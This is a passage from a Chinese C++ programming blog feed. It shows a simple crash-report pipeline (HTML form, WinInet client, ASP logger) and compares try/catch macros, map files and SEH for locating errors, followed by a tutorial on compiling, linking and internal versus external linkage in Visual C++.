&lt;p&gt;附:&lt;br&gt;1. bugreport.htm的内容:&lt;br&gt;&amp;lt;html&amp;gt;&lt;br&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt; a sample form &amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br&gt;&amp;lt;FORM METHOD=&amp;quot;POST&amp;quot; ACTION=&amp;quot;readbug.asp&amp;quot;&amp;gt;&amp;lt;P&amp;gt;&lt;br&gt;内容：&amp;lt;P&amp;gt;&lt;br&gt;&amp;lt;TEXTAREA NAME=&amp;quot;bug&amp;quot; ROWS=20 COLS=72&amp;gt;&amp;lt;/TEXTAREA&amp;gt;&amp;lt;P&amp;gt;&lt;br&gt;&amp;lt;CENTER&amp;gt;&amp;lt;INPUT TYPE=SUBMIT value=&amp;quot;发布信息&amp;quot;&amp;gt;&lt;br&gt;&amp;lt;INPUT TYPE=RESET value=&amp;quot;清除信息&amp;quot;&amp;gt;&amp;lt;/CENTER&amp;gt;&lt;br&gt;&amp;lt;/FORM&amp;gt;&lt;br&gt;&amp;lt;/body&amp;gt;&lt;br&gt;&amp;lt;/html&amp;gt;
&lt;p&gt;2. bugreport.exe的内容&lt;br&gt;//&lt;br&gt;#include &amp;lt;windows.h&amp;gt;&lt;br&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br&gt;#include &amp;lt;Wininet.h&amp;gt;
&lt;p&gt;#pragma comment(lib, &amp;quot;wininet.lib&amp;quot;)
&lt;p&gt;bool SendHttpData( const char * szIP, const char* szFile, const void* szData, int nLen )&lt;br&gt;{&lt;br&gt;HINTERNET  hInter1 = NULL, hInter2 = NULL, hInter3 = NULL;
&lt;p&gt;// open internet:&lt;br&gt;hInter1 = InternetOpen( &amp;quot;&amp;quot;, 0, NULL, NULL, 0 );&lt;br&gt;if( !hInter1 ) return false;
&lt;p&gt;// open url:&lt;br&gt;hInter2 = InternetConnect( hInter1, szIP, 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1 );&lt;br&gt;if( !hInter2 )&lt;br&gt;{&lt;br&gt;InternetCloseHandle(hInter1);&lt;br&gt;return false;&lt;br&gt;}
&lt;p&gt;// open request:&lt;br&gt;hInter3 = HttpOpenRequest( hInter2, &amp;quot;POST&amp;quot;, szFile, NULL, NULL, NULL, INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 1 );&lt;br&gt;if( !hInter3 )&lt;br&gt;{&lt;br&gt;InternetCloseHandle(hInter2);&lt;br&gt;InternetCloseHandle(hInter1);&lt;br&gt;return false;&lt;br&gt;}
&lt;p&gt;// send:&lt;br&gt;char szHeader[] = &amp;quot;Accept:*/*\r\n&amp;quot;&amp;quot;Content-Type:application/x-www-form-urlencoded\r\n&amp;quot;;&lt;br&gt;int nRes = HttpSendRequest( hInter3, szHeader, strlen(szHeader), (void*)szData, nLen ) ;&lt;br&gt;if( 0 != nRes )&lt;br&gt;{&lt;br&gt;const int BUFFSIZE = 512;&lt;br&gt;char pcBuffer[BUFFSIZE];&lt;br&gt;DWORD dwBytesRead;
&lt;p&gt;printf(&amp;quot;\nThe following was returned by the server:\n&amp;quot;);&lt;br&gt;do&lt;br&gt;{ dwBytesRead=0;&lt;br&gt;if( InternetReadFile ( hInter3, pcBuffer, BUFFSIZE-1, &amp;amp;dwBytesRead ) )&lt;br&gt;{&lt;br&gt;pcBuffer[dwBytesRead] = 0x00; // Null-terminate buffer&lt;br&gt;printf( &amp;quot;%s&amp;quot;, pcBuffer );&lt;br&gt;}&lt;br&gt;else&lt;br&gt;printf( &amp;quot;\nInternetReadFile failed&amp;quot; );&lt;br&gt;}while( dwBytesRead &amp;gt; 0 );&lt;br&gt;printf( &amp;quot;\n&amp;quot; );&lt;br&gt;}
&lt;p&gt;// close all:&lt;br&gt;InternetCloseHandle( hInter3 );&lt;br&gt;InternetCloseHandle( hInter2 );&lt;br&gt;InternetCloseHandle( hInter1 );
&lt;p&gt;system( &amp;quot;pause&amp;quot; );
&lt;p&gt;return (0 != nRes);&lt;br&gt;}
&lt;p&gt;int main(int argc, char *argv[])&lt;br&gt;{&lt;br&gt;char szIp[]   = &amp;quot;192.168.4.25&amp;quot;;&lt;br&gt;char szFile[] = &amp;quot;Readbug.asp&amp;quot;;&lt;br&gt;char szData[] = &amp;quot;bug=test only\n&amp;quot;;&lt;br&gt;int  nLen     = strlen(szData);
&lt;p&gt;SendHttpData( szIp, szFile, szData, nLen );
&lt;p&gt;return 0;&lt;br&gt;}
&lt;p&gt;3. Readbug.asp的内容:&lt;br&gt;&amp;lt;%@ LANGUAGE=&amp;quot;VBSCRIPT&amp;quot; %&amp;gt;&lt;br&gt;&amp;lt;%&lt;br&gt;   'Increase Script Timeout to 10 hours(36000minute), default timeout is 20 minutes&lt;br&gt;   Server.ScriptTimeout = 36000&lt;br&gt;   bug = Request.FORM( &amp;quot;bug&amp;quot; )&lt;br&gt;   set fsFilesys=CreateObject( &amp;quot;Scripting.FileSystemObject&amp;quot; )&lt;br&gt;   bugfile = &amp;quot;c:\bug.txt&amp;quot;&lt;br&gt;   bug = bug &amp;amp; &amp;quot;[&amp;quot; &amp;amp; Now &amp;amp; &amp;quot;]&amp;quot;&lt;br&gt;   if fsFilesys.FileExists( bugfile ) then&lt;br&gt;      Set tsCoffee=fsFilesys.OpenTextFile( bugfile, 8 )&lt;br&gt;   else&lt;br&gt;      set tsCoffee=fsFilesys.CreateTextFile( bugfile, true )&lt;br&gt;   end if&lt;br&gt;   tsCoffee.WriteLine( bug )&lt;br&gt;   tsCoffee.Close
&lt;p&gt;   ' Send results back to client&lt;br&gt;   Response.Write &amp;quot; bytes were read.&amp;quot;&lt;br&gt;%&amp;gt;
&lt;p&gt;注：&lt;br&gt;bugreport.htm中的FORM下的name对应就是我们在 Readbug.asp中的&amp;quot;bug&amp;quot;&lt;br&gt;而bugreport.exe中的char szData[] = &amp;quot;bug=test only\n&amp;quot;中的bug也是&lt;br&gt;对应Readbug.asp中的&amp;quot;bug&amp;quot;。如果有必要可以使用多个，在Readbug.asp&lt;br&gt;再存进数据库中。
&lt;p&gt;这里要感谢一下xum大哥,我最初是从他那里大体上知道这个方法的。
&lt;p&gt;&lt;br&gt;[续:]&lt;br&gt;下面说说异常的捕获，主要介绍3种不同的方法:&lt;br&gt;1. try catch 的方法:&lt;br&gt;   主要思想:&lt;br&gt;       通过在可能出错的地方添加异常捕获陷井，捕获到则保留现场(记录出错的文件名行数等)&lt;br&gt;   再往外一层层的抛,一层层的记录。(主要是为了得到相关堆栈信息)。&lt;br&gt;   这种方法为了得到真正出错的地方将会导致随处可见的try catch，另外使用异常必须面对效率问题。&lt;br&gt;   当前正在运营的一个大型网游的工程中使用了此法:大部分的函数开始处都用到try,函数结束时用了catch(..)，&lt;br&gt;   而实际验证效果还不错，帮助解决了很多bug。
&lt;p&gt;   具体实现方法:&lt;br&gt;       下面是大概的代码,一堆堆的宏，很难看，只为说明问题:)&lt;br&gt;// debug using:&lt;br&gt;#if defined(_DEBUG) &amp;amp;&amp;amp; (defined(WIN32) || defined(__WIN32__))&lt;br&gt;#ifndef MAKE_BREAK_POINT&lt;br&gt;#define MAKE_BREAK_POINT \&lt;br&gt;{ \&lt;br&gt;{ __asm int 3 } \&lt;br&gt;}&lt;br&gt;#endif&lt;br&gt;#else&lt;br&gt;#define MAKE_BREAK_POINT&lt;br&gt;#endif&lt;br&gt;   &lt;br&gt;#ifdef  X_TRY_EXCEPTION&lt;br&gt;#pragma message( &amp;quot;[X_TRY_EXCEPTION]_______USE_TRY_EXCEPTION_______&amp;quot; )
&lt;p&gt;#ifndef __CLASS__&lt;br&gt;#pragma message( &amp;quot;[X_TRY_EXCEPTION]_______COMPILER_NOT_DEFINE_MACRO(__CLASS__)_______&amp;quot; )&lt;br&gt;#define __CLASS__ &amp;quot;??&amp;quot; // For systems that don't have the __FUNCTION__ variable, we can just define it here&lt;br&gt;#endif
&lt;p&gt;#ifndef __FUNCTION__&lt;br&gt;#pragma message( &amp;quot;[X_TRY_EXCEPTION]_______COMPILER_NOT_DEFINE_MACRO(__FUNCTION__)_______&amp;quot; )&lt;br&gt;#define __FUNCTION__ &amp;quot;??&amp;quot; // For systems that don't have the __FUNCTION__ variable, we can just define it here&lt;br&gt;#endif
&lt;p&gt;#ifdef RECORD_BUG&lt;br&gt;#undef RECORD_BUG&lt;br&gt;#endif&lt;br&gt;#define RECORD_BUG( szTxt, nDepth ) \&lt;br&gt;{ \&lt;br&gt;char szTmp[128]; \&lt;br&gt;        int nLine = __LINE__; \&lt;br&gt;std::string strBug = &amp;quot;&amp;lt;p&amp;gt;----------------------------------------------------------------------------&amp;lt;p&amp;gt;&amp;quot;; \&lt;br&gt;sprintf( szTmp, &amp;quot;try_catch_depth:%d&amp;lt;p&amp;gt;&amp;quot;, nDepth ); \&lt;br&gt;strBug += szTmp; \&lt;br&gt;strBug += szTxt; \&lt;br&gt;strBug += &amp;quot;&amp;lt;p&amp;gt;Local at:&amp;quot;; \&lt;br&gt;strBug += &amp;quot;&amp;lt;p&amp;gt;file:     &amp;quot;; \&lt;br&gt;strBug += __FILE__; \&lt;br&gt;strBug += &amp;quot;&amp;lt;p&amp;gt;FUNCTION: &amp;quot;; \&lt;br&gt;strBug += __FUNCTION__; \&lt;br&gt;strBug += &amp;quot;&amp;lt;p&amp;gt;LINE:     &amp;quot;; \&lt;br&gt;        sprintf( szTmp, &amp;quot;%d&amp;quot;, nLine ); \&lt;br&gt;strBug += szTmp; \&lt;br&gt;strBug += &amp;quot;&amp;lt;p&amp;gt;&amp;quot;; \&lt;br&gt;XUTIL::AddBugInfo( strBug.data() ); \&lt;br&gt;}&lt;br&gt;#ifdef X_TRY&lt;br&gt;#undef X_TRY&lt;br&gt;#endif&lt;br&gt;#define X_TRY try {
&lt;p&gt;#ifdef X_CATCH_INFO&lt;br&gt;#undef X_CATCH_INFO&lt;br&gt;#endif&lt;br&gt;#define X_CATCH_INFO(xx) } \&lt;br&gt;catch( int nDepth ) \&lt;br&gt;{ \&lt;br&gt;RECORD_BUG(xx ## &amp;quot;&amp;lt;p&amp;gt;[TYPE]: k_GetThrow_Error:&amp;quot;, ++nDepth); \&lt;br&gt;throw nDepth; \&lt;br&gt;} \&lt;br&gt;catch(...) \&lt;br&gt;{ \&lt;br&gt;MAKE_BREAK_POINT \&lt;br&gt;RECORD_BUG(xx ## &amp;quot;&amp;lt;p&amp;gt;[TYPE]: k_Try_Error:&amp;quot;, 0); \&lt;br&gt;throw 0; \&lt;br&gt;}
&lt;p&gt;#ifdef X_CATCH&lt;br&gt;#undef X_CATCH&lt;br&gt;#endif&lt;br&gt;#define X_CATCH \&lt;br&gt;X_CATCH_INFO(&amp;quot;&amp;quot;)
&lt;p&gt;#ifdef X_ASSERT&lt;br&gt;#undef X_ASSERT&lt;br&gt;#endif&lt;br&gt;#define X_ASSERT(x) \&lt;br&gt;{ \&lt;br&gt;if( !(x) ) \&lt;br&gt;{ \&lt;br&gt;MAKE_BREAK_POINT \&lt;br&gt;RECORD_BUG(&amp;quot;[TYPE]: X_ASSERT_Error:&amp;quot; #x, 0); \&lt;br&gt;throw 0; \&lt;br&gt;} \&lt;br&gt;} 
&lt;p&gt;#else&lt;br&gt;#define X_TRY&lt;br&gt;#define X_CATCH&lt;br&gt;#define X_CATCH_INFO(xx)&lt;br&gt;#define X_ASSERT(x) { \&lt;br&gt;}&lt;br&gt;#endif
&lt;p&gt;2. map 映射法:&lt;br&gt;   主要思想:&lt;br&gt;       编译工程时打开map一些相关开关，build后就会输出相关文件信息到指定的map文件中，&lt;br&gt;   每发布一个版本就保存对应的map文件，当程序在用户运行时出错时系统跳出错误框，&lt;br&gt;   根据报告的出错地址从对应版本的map文件中可找到对应出错的信息(能找到出错代码的位置)。&lt;br&gt;   (注:一般PE文件内容映射到内存中(image)的相对位置是一致的,PE储存内容大致:&lt;br&gt;    DOS-stub(小程序，用于在纯dos下运行该程序时打印出错提示并退出)、&lt;br&gt;    nt_header(file-header、optional header、 data directories，主要记录文件格式标志、版本、时间、RVA等等)&lt;br&gt;    sections(包括.text代码和.data数据资源及bss section及导入导出表(IAT、EAT)(也许在深入浅出dll那文章的后续会讲一下这部份)等等)、 &lt;br&gt;    debug_info( 这里应该是调试器用的debug信息 )&lt;br&gt;   map映射出来的内容就有包括上述格式中的一些内容。如sections中的.text, .data及输入输出&lt;br&gt;   函数及偏移位置等等。&lt;br&gt;   可参考相关PE格式的文章，&lt;br&gt;   如《Windows 95 System Programming Secrets》可到侯杰网站下载电子版)。&lt;br&gt;   具体实现方法:&lt;br&gt;       上面说了很多，其实看看老罗的文章:&lt;a href="http://www.luocong.com/articles/show_article.asp?Article_ID=29"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;http://www.luocong.com/articles/show_article.asp?Article_ID=29&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;   就知道实现很简单。另一篇英文的参见:http://www.codeproject.com/debug/mapfile.asp
&lt;p&gt;再一篇 ＂&lt;strong&gt;对“仅通过崩溃地址找出源代码的出错行”一文的补充与改进&lt;/strong&gt;＂中说明了使用Listing Files的方法,参见:
&lt;p&gt;&lt;a href="http://www.vckbase.com/document/viewdoc/?id=1473"&gt;http://www.vckbase.com/document/viewdoc/?id=1473&lt;/a&gt;&lt;br&gt;&lt;br&gt;   注: &lt;br&gt;       vc6及vc7下测试通过(处理有点点不同), win2000和xp下同样测试通过, 只是xp下的出错框出错地址信息有点不同，显示的是偏移（不用减去基址，只需减去pe加载偏移１０００即可）, 此外不用老罗的行号算法也可以找到精确的位置，只要在vc下按下alt+8打开反汇编即可看到对应精确的地址.&lt;br&gt;   
&lt;p&gt;3. seh(结构化异常处理) 大法:&lt;br&gt;   系统会用到seh进行一些异常处理(通常这个可用在溢出攻击，反跟踪等，具体网上有一大堆文章)&lt;br&gt;   主要思想:&lt;br&gt;       我们在程序开始处调用SetUnhandledExceptionFilter安装了最后异常处理例程,&lt;br&gt;   当程序发生异常而未被处理的时，系统就会转向对它的调用。这时我们利用SEH获得异常时的相关信息，&lt;br&gt;   并存储或转发到我们的网站。&lt;br&gt;   具体实现方法:&lt;br&gt;       参见大牛的代码:&lt;a href="http://www.vckbase.com/code/listcode.asp?mclsid=23&amp;amp;"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;http://www.vckbase.com/code/listcode.asp?mclsid=23&amp;amp;&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;;sclsid=2303&lt;br&gt;   注: &lt;br&gt;       在调试中安装的最后异常处理例程无法捕获到出错异常。(因为我安装的是最后异常处理全程，&lt;br&gt;   而这时异常被调试器捕获了)。 直接运行则可捕获异常。另外如果你在build时生成*.pdb文件的话&lt;br&gt;   则可捕获到堆栈的信息而无论是否调试版只要你指选项生成debug信息，并在发行版本中把对应的*.pdb&lt;br&gt;   (vc编译器生成的供调试信息文件，用ultraedit打开exe文件在最后可看到有记录*.pdb文件路径，不过&lt;br&gt;   系统还是会优先考虑当前路径上找，所以你只要把*.pdb放在exe同一目录下)，但是在98下我测试无法&lt;br&gt;   得到堆栈的信息(用的vc6),why?&lt;br&gt;   &lt;br&gt;4. 待续，&lt;br&gt;   上述第3点已经很不错了，但98下我还得不到堆栈的信息，所以待续，如果有好想法的话。。。&lt;br&gt;
&lt;div align=right&gt;&lt;img src="http://bbs.gameres.com/style/snow/image/ok.gif" border=0&gt;flipcode 2004-12-5 14:09:29&lt;/div&gt;&lt;br&gt;
&lt;table cellspacing=0 cellpadding=0 width="100%" align=right border=0&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width="70%"&gt;&lt;font color="#dbc7b0"&gt; 注册: &lt;b&gt;2004-5&lt;/b&gt;    状态: &lt;/font&gt;&lt;font color="#8bbb9e"&gt;&lt;b&gt;online&lt;/b&gt;&lt;/font&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://c.services.spaces.live.com/CollectionWebService/c.gif?cid=-8189920746979949719&amp;page=RSS%3a+bugreport&amp;referrer=" width="1px" height="1px" border="0" alt=""&gt;&lt;img style="position:absolute" alt="" width="0px" height="0px" src="http://c.live.com/c.gif?NC=31263&amp;amp;NA=1149&amp;amp;PI=73329&amp;amp;RF=&amp;amp;DI=3919&amp;amp;PS=85545&amp;amp;TP=flipcode.spaces.live.com&amp;amp;GT1=flipcode"&gt;</description><comments>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!128.entry#comment</comments><guid isPermaLink="true">http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!128.entry</guid><pubDate>Fri, 25 Nov 2005 03:24:35 GMT</pubDate><slash:comments>3</slash:comments><msn:type>blogentry</msn:type><live:type>blogentry</live:type><live:typelabel>Blog entry</live:typelabel><wfw:commentRss>http://flipcode.spaces.live.com/blog/cns!8E578E7901A88369!128/comments/feed.rss</wfw:commentRss><wfw:comment>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!128.entry#comment</wfw:comment><dcterms:modified>2006-01-11T10:16:55Z</dcterms:modified></item><item><title>编译器处理</title><link>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!123.entry</link><description>&lt;div&gt;&lt;strong&gt;&lt;br&gt;&lt;/strong&gt;编译器处理:&lt;br&gt;    flipcode@msn.com&lt;br&gt;一.预处理器-编译器-汇编器-链接器&lt;br&gt;  预处理器会处理相关的预处理指令，一般是以&amp;quot;#&amp;quot;开头的指令。如：#include &amp;quot;xx.h&amp;quot; #define等。&lt;br&gt;  编译器把对应的*.cpp翻译成*.s文件(汇编语言)。&lt;br&gt;  汇编器则处理*.s生成对应的*.o文件(obj目标文件)&lt;br&gt;  最后链接器把所有的*.o文件链接成一个可执行文件(?.exe) 
&lt;p&gt;
&lt;p&gt;  1.部件:&lt;br&gt;      首先要知道部件(可以暂且狭义地理解为一个类)一般分为头文件(我喜欢称为接口，如:*.h)及实现文件(如:*.cpp)。&lt;br&gt;  一般头文件会是放一些用来作声明的东东作为接口而存在的。&lt;br&gt;  而实现文件主要是实现的具体代码。
&lt;p&gt;  2.编译单个文件:&lt;br&gt;      记住IDE在bulid文件时只编译实现文件(如*.cpp)来产生obj，在vc下你可以对某个?.cpp按下ctrl+f7单独编译它&lt;br&gt;  生成对应一个?.obj文件。在编译?.cpp时IDE会在?.cpp中按顺序处理用#include包括进来的头文件&lt;br&gt;  (如果该头文件中又#include有文件，同样会按顺序跟进处理各个头文件，如此递归。。)
&lt;p&gt;  3.内部链接与外部链接:&lt;br&gt;      内、外链接是比较基础的东东，但是也是新手最容易错的地方,所以这里有必要祥细讨论一下。&lt;br&gt;      内部链接产生的符号只在本地?.obj中可见，而外部链接的符号是所有*.obj之间可见的。&lt;br&gt;    如:用inline的是内部链接，在文件头中直接声明的变量、不带inline的全局函数都是外部链接。&lt;br&gt;    在文件头中类的内部声明的函数(不带函数体)是外部链接，而带函数体一般会是内部链接(因为IDE会尽量把它作为内联函数)&lt;br&gt;    认识内部链接与外部链接有什么作用呢？下面用vc6举个例子：&lt;br&gt;    // 文件main.cpp内容:&lt;br&gt;    void main(){}&lt;br&gt;    // 文件t1.cpp内容:&lt;br&gt;    #include &amp;quot;a.h&amp;quot;&lt;br&gt;    void Test1(){ Foo(); }&lt;br&gt;    // 文件t2.cpp内容:&lt;br&gt;    #include &amp;quot;a.h&amp;quot;&lt;br&gt;    void Test2(){ Foo(); }&lt;br&gt;    // 文件a.h内容:&lt;br&gt;    void Foo( ){ }&lt;br&gt;    好，用vc生成一个空的console程序(File - new - projects - win32 console application)，并关掉预编译选项开关&lt;br&gt;    (project - setting - Cagegory:precompiled Headers - Not using precompiled headers)&lt;br&gt;    现在你打开t1.cpp按ctrl+f7编译生成t1.obj通过&lt;br&gt;    打开t2.cpp按ctrl+f7编译生成t2.obj通过&lt;br&gt;    而当你链接时会发现:&lt;br&gt;    Linking...&lt;br&gt;    t2.obj : error LNK2005: &amp;quot;void __cdecl Foo(void)&amp;quot; (?Foo@@YAXXZ) already defined in t1.obj&lt;br&gt;    这是因为:&lt;br&gt;    1. 编译t1.cpp在处理到#include &amp;quot;a.h&amp;quot;中的Foo时看到的Foo函数原型定义是外部链接的，所以在t1.obj中记录Foo符号是外部的。&lt;br&gt;    2. 编译t2.cpp在处理到#include &amp;quot;a.h&amp;quot;中的Foo时看到的Foo函数原型定义是外部链接的，所以在t2.obj中记录Foo符号是外部的。&lt;br&gt;    3. 最后在链接 t1.obj 及 t2.obj 时, vc发现有两处地方(t1.obj和t2.obj中)定义了相同的外部符号(注意：是定义，外部符号可以&lt;br&gt;    多处声明但不可多处定义，因为外部符号是全局可见的，假设这时有t3.cpp声明用到了这个符号就不知道应该调用t1.obj&lt;br&gt;    中的还是t2.obj中的了)，所以会报错。&lt;br&gt;    解决的办法有几种: &lt;br&gt;        a.将a.h中的定义改写为声明，而用另一个文件a.cpp来存放函数体。(提示：把上述程序改来试试)&lt;br&gt;    (函数体放在其它任何一个cpp中如t1.cpp也可以，不过良好的习惯是用对应cpp文件来存放)。&lt;br&gt;    这时包括a.h的文件除了a.obj中有函数体代码外，&lt;br&gt;    其它包括a.h的cpp生成的obj文件都只有对应的符号而没有函数体，如t1.obj、t2.obj就只有符号，当最后链接时IDE会把&lt;br&gt;    a.obj的Foo()函数体链接进exe文件中，并把t1.obj、t2.obj中的Foo符号转换成对应在函数体exe文件中的地址。&lt;br&gt;     另外：当变量放在a.h中会变成全局变量的定义，如何让它变为声明呢?&lt;br&gt;     例如: 我们在a.h中加入:class CFoo{};CFoo* obj;&lt;br&gt;     这时按f7进行build时出现:&lt;br&gt;     Linking...&lt;br&gt;     t2.obj : error LNK2005: &amp;quot;class CFoo *  obj&amp;quot; (?obj@@3PAVCFoo@@A) already defined in t1.obj&lt;br&gt;     一个好办法就是在a.cpp中定义此变量( CFoo* obj;)，然后拷贝此定义到a.h文件中并在前面加上extern(extern CFoo* obj;)&lt;br&gt;     如此就可通过了。当然extern也可以在任何调用此变量的位置之前声明，不过强烈建议不要这么作，因为到处作用extern，会&lt;br&gt;     导致接口不统一。良好的习惯是接口一般就放到对应的头文件。&lt;br&gt;        &lt;br&gt;        b. 将a.h中的定义修改成内部链接，即加上inline关键字，这时每个t1.obj和t2.obj都存放有一份Foo函数体，但它们不是外部&lt;br&gt;    符号，所以不会被别的obj文件引用到，故不存在冲突。(提示：把上述程序改来试试)&lt;br&gt;    另外我作了个实验来验证”vc是把是否是外部符号的标志记录在obj文件中的“(有点绕口)。可以看看，如下:&lt;br&gt;     (1)文件内容:&lt;br&gt;    // 文件main.cpp内容:&lt;br&gt;    void main(){}&lt;br&gt;    // 文件t1.cpp内容:&lt;br&gt;    #include &amp;quot;a.h&amp;quot;&lt;br&gt;    void Test1(){ Foo(); }&lt;br&gt;    // 文件t2.cpp内容:&lt;br&gt;    #include &amp;quot;a.h&amp;quot;&lt;br&gt;    void Test2(){ Foo(); }&lt;br&gt;    // 文件a.h内容:&lt;br&gt;    inline void Foo( ){ }&lt;br&gt;    (2) 选t1.cpp按ctrl+f7单独编译,并把编译后的t1.obj修改成t1.obj_inline&lt;br&gt;    (3) 选t2.cpp按ctrl+f7单独编译,并把编译后的t2.obj修改成t2.obj_inline&lt;br&gt;    (4) 把除了t1.obj_inline及t2.obj_inline外的其它编译生成的文件删除。&lt;br&gt;    (5) 修改a.h内容为:void Foo( ){ },使之变为非内联函数作测试&lt;br&gt;    (6) rebuild all所有文件。这时提示:&lt;br&gt;Linking...&lt;br&gt;t2.obj : error LNK2005: &amp;quot;void __cdecl Foo(void)&amp;quot; (?Foo@@YAXXZ) already defined in t1.obj&lt;br&gt;Debug/cle.exe : fatal error LNK1169: one or more multiply defined symbols found&lt;br&gt;    (7) 好，看看工程目录下的debug目录中会看到新生成的obj文件。&lt;br&gt;下面我们来手工链接看看，&lt;br&gt;打开菜单中的project - setting - Link,拷贝Project options下的所有内容,如下:&lt;br&gt;kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:&amp;quot;Debug/cle.pdb&amp;quot; /debug /machine:I386 /out:&amp;quot;Debug/cle.exe&amp;quot; /pdbtype:sept &lt;br&gt;把它修改成:&lt;br&gt;Link.exe kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:&amp;quot;Debug/cle.pdb&amp;quot; /debug /machine:I386 /out:&amp;quot;Debug/cle.exe&amp;quot; /pdbtype:sept Debug/t1.obj Debug/t2.obj Debug/main.obj&lt;br&gt;pause&lt;br&gt;注意前面多了Link.exe，后面多了Debug/t1.obj Debug/t2.obj Debug/main.obj以及&lt;br&gt;最后一个pause批处理命令，然后把它另存到工程目录(此目录下会看到debug目录)下起名为link.bat&lt;br&gt;运行它，就会看到:&lt;br&gt;t2.obj : error LNK2005: &amp;quot;void __cdecl Foo(void)&amp;quot; (?Foo@@YAXXZ) already defined i&lt;br&gt;n t1.obj&lt;br&gt;Debug/cle.exe : fatal error LNK1169: one or more multiply defined symbols found&lt;br&gt;很好，我们链接原来的obj文件得到的效果跟在vc中用rebuild all出来的效果一样。那么现在如果&lt;br&gt;我们把备份出来的t1.obj_inline覆盖t1.obj而t2.obj_inline覆盖t2.obj再手动链接应该会是&lt;br&gt;不会出错的，因为原t1.obj_inline及t2.obj_inline中存放的是内部链接符号。好运行Link.bat，果然&lt;br&gt;不出所料，链接成功了，看看debug目录下多出了一个exe文件。这就说明了内或外符号在obj有标志标识!&lt;br&gt;(提示：上述为什么不用vc的f7build链接呢,因为文件时间改变了，build会重新生成新的obj，&lt;br&gt;所以我们用手动链接保证obj不变)[注:obj信息可用dumpbin.exe查看]
&lt;p&gt;&lt;br&gt;  4.#include规则:&lt;br&gt;       有很多人不知道#include 文件该放在何处？
&lt;p&gt;    1). 增强部件自身的完整性：&lt;br&gt;     为了保证部件的完整性，部件的cpp实现文件(如test.cpp)中第一个#include的应当是它自身对应的头文件(如test.h)。&lt;br&gt;    (除非你用预编译头文件, 预编译头必须放在第一个)。这样就保证了该部件头文件(test.h)所必须依赖的其它接口(如a.h等)要放到它对应的文件头中(test.h),而不是在cpp中(test.cpp)把所依赖的其它头文件(a.h等)移到其自身对应的头文件(test.h等)之前（因为这样强迫其它包括此部件的头文件(test.h)的文件(b.cpp)也必须再写一遍include(即b.cpp若要#include &amp;quot;test.h&amp;quot;也必须#include &amp;quot;a.h&amp;quot;)”。另外我们一般会尽量减少文件头之间的依赖关系，看下面：
&lt;p&gt;    2). 减少部件之间的依赖性：&lt;br&gt;    在1的基础上尽量把#include到的文件放在cpp中包括。&lt;br&gt;    这就要求我们一般不要在头文件中直接引用其它变量的实现，而是把此引用搬到实现文件中。&lt;br&gt;    例如: &lt;br&gt;    // 文件foo.h:&lt;br&gt;    class CFoo{&lt;br&gt;       void Foo(){}&lt;br&gt;    };&lt;br&gt;    // 文件test.h:&lt;br&gt;    #include &amp;quot;foo.h&amp;quot;&lt;br&gt;    class CTest{&lt;br&gt;       CFoo*   m_pFoo;&lt;br&gt;    public:&lt;br&gt;       CTest() : m_pFoo(NULL){}&lt;br&gt;       void Test(){ if(m_pFoo){ m_pFoo-&amp;gt;Foo();}}&lt;br&gt;       ...........&lt;br&gt;    };&lt;br&gt;    // 文件test.cpp:&lt;br&gt;    #include &amp;quot;test.h&amp;quot;&lt;br&gt;    .....&lt;br&gt;    &lt;br&gt;    如上文件test.h中我们其实可以#include &amp;quot;foo.h&amp;quot;移到test.cpp文件中。因为CFoo* m_pFoo我们只想在部件CTest中用到,&lt;br&gt;    而将来想用到CTest部件而包括test.h的其它部件没有必要见到foo.h接口，所以我们用前向声明修改原文件如下:&lt;br&gt;   // 文件foo.h:&lt;br&gt;   class CFoo{&lt;br&gt;public:&lt;br&gt;       void Foo(){}&lt;br&gt;   };&lt;br&gt;   // 文件test.h:&lt;br&gt;   class CFoo;&lt;br&gt;   class CTest{&lt;br&gt;       CFoo*   m_pFoo;&lt;br&gt;   public:&lt;br&gt;      CTest();&lt;br&gt;      void Test();&lt;br&gt;     //........&lt;br&gt;   };&lt;br&gt;   // 文件test.cpp:&lt;br&gt;   #include &amp;quot;test.h&amp;quot; // 这里第一个放该部件自身对应的接口头文件&lt;br&gt;   #include &amp;quot;foo.h&amp;quot;  // 该部件用到了foo.h&lt;br&gt;   CTest::CTest() : m_pFoo(0){ &lt;br&gt;m_pFoo = new CFoo; &lt;br&gt;   }&lt;br&gt;   void CTest::Test(){ &lt;br&gt;if(m_pFoo){ &lt;br&gt;m_pFoo-&amp;gt;Foo();&lt;br&gt;}&lt;br&gt;   }&lt;br&gt;   //.....&lt;br&gt;   // 再加上main.cpp来测试:&lt;br&gt;   #include &amp;quot;test.h&amp;quot; // 这里我们就不用见到#include &amp;quot;foo.h&amp;quot;了&lt;br&gt;   CTest test;&lt;br&gt;   void main(){&lt;br&gt;test.Test();&lt;br&gt;   }
